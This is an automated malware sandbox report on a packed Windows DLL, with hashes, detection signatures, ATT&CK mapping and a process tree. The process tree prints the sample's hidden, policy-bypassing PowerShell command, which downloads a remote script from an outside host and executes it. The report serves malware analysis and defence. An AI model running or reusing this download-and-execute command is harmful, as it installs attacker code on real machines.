f24c6fd0b91162f714afe686ffff55fd6f1c98d3dd8c1dca496d36877698ce8b

Analysis

max time kernel
136s
max time network
107s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
22/08/2024, 13:12

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General

Target

b7c396a3591e634f64b409d84a368f58_JaffaCakes118.dll
Size

45KB
MD5

b7c396a3591e634f64b409d84a368f58
SHA1

7ac03e39feef84264fd204eff5cc907c85d44cdc
SHA256

f24c6fd0b91162f714afe686ffff55fd6f1c98d3dd8c1dca496d36877698ce8b
SHA512

f71a97f04c0116bf48d46cf0cd7b8e33f08c3c501e7678cef86bafc94f594fc76bb420c9904adcd9fec016ee08845d077ff5b0c2cf65c3d968b7baecdd32cad3
SSDEEP

768:ZOccX/EPy9MUrxynAxnsl4HoUxmy8SX8E6mNImbKf:jG/EPy9MUrxVnjxtJXTN5c

Score

8^/10

execution upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2492	powershell.exe
3220	powershell.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/712-1-0x0000000065D40000-0x0000000065D63000-memory.dmp	upx

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3220	powershell.exe
3220	powershell.exe
2492	powershell.exe
2492	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3220	powershell.exe
Token: SeDebugPrivilege	2492	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 712 wrote to memory of 4248	712	rundll32.exe	83
PID 712 wrote to memory of 4248	712	rundll32.exe	83
PID 4248 wrote to memory of 3220	4248	cmd.exe	85
PID 4248 wrote to memory of 3220	4248	cmd.exe	85
PID 3220 wrote to memory of 2492	3220	powershell.exe	86
PID 3220 wrote to memory of 2492	3220	powershell.exe	86

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\b7c396a3591e634f64b409d84a368f58_JaffaCakes118.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -exec bypass -nop -w hidden -f C:\Windows\Temp\d1d7d987.ps1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -exec bypass -nop -w hidden -f C:\Windows\Temp\d1d7d987.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://x4k.sh/ealxL/d1d7d987.ps1')|iex"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
532d468a6c319cceed83b22ea7a4b129

SHA1
bf4a31c645bf32927bdc71b1cd115bcb9ec1eee1

SHA256
871a5a8677f44426b38cd592347c334cdc4600f6a0743815b6c90bd9e48dd4c6

SHA512
e7ac13bb3f404a17b1e6c501b1b5f1e5d93748d26e93acab3a342a0d578bc0d68b5deca164e43578f3c10921f58bd1c75404bf8044ead403fd2120958bffb6fa

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kmv5gebm.afq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Temp\d1d7d987.ps1

Filesize
748B

MD5
013b5b3c6cafa6c01ab735667075b2ce

SHA1
a24a9169c21a940c7b08ad0d740b2019943fb0f5

SHA256
35ddd6fea5723f3454f6752a282919b697d1ab77792854da6e472db1c71e6980

SHA512
e2e03e89cb9219d23c66c1942ed84a4b5ea3e427bb6ca6e5a85eba0a9075df86eec571048f8d32b9c91ef26fd825266a09c90abef6c2edd0fa22eb6fdaab4c48

Download Submit
memory/712-1-0x0000000065D40000-0x0000000065D63000-memory.dmp

Filesize
140KB

Download
memory/2492-26-0x00007FFAD8AF0000-0x00007FFAD95B1000-memory.dmp

Filesize
10.8MB

Download
memory/2492-27-0x00007FFAD8AF0000-0x00007FFAD95B1000-memory.dmp

Filesize
10.8MB

Download
memory/2492-28-0x00007FFAD8AF0000-0x00007FFAD95B1000-memory.dmp

Filesize
10.8MB

Download
memory/2492-31-0x00007FFAD8AF0000-0x00007FFAD95B1000-memory.dmp

Filesize
10.8MB

Download
memory/3220-13-0x00007FFAD8AF0000-0x00007FFAD95B1000-memory.dmp

Filesize
10.8MB

Download
memory/3220-14-0x00007FFAD8AF0000-0x00007FFAD95B1000-memory.dmp

Filesize
10.8MB

Download
memory/3220-16-0x00007FFAD8AF0000-0x00007FFAD95B1000-memory.dmp

Filesize
10.8MB

Download
memory/3220-3-0x0000019B413D0000-0x0000019B413F2000-memory.dmp

Filesize
136KB

Download
memory/3220-2-0x00007FFAD8AF3000-0x00007FFAD8AF5000-memory.dmp

Filesize
8KB

Download
memory/3220-35-0x00007FFAD8AF0000-0x00007FFAD95B1000-memory.dmp

Filesize
10.8MB

Download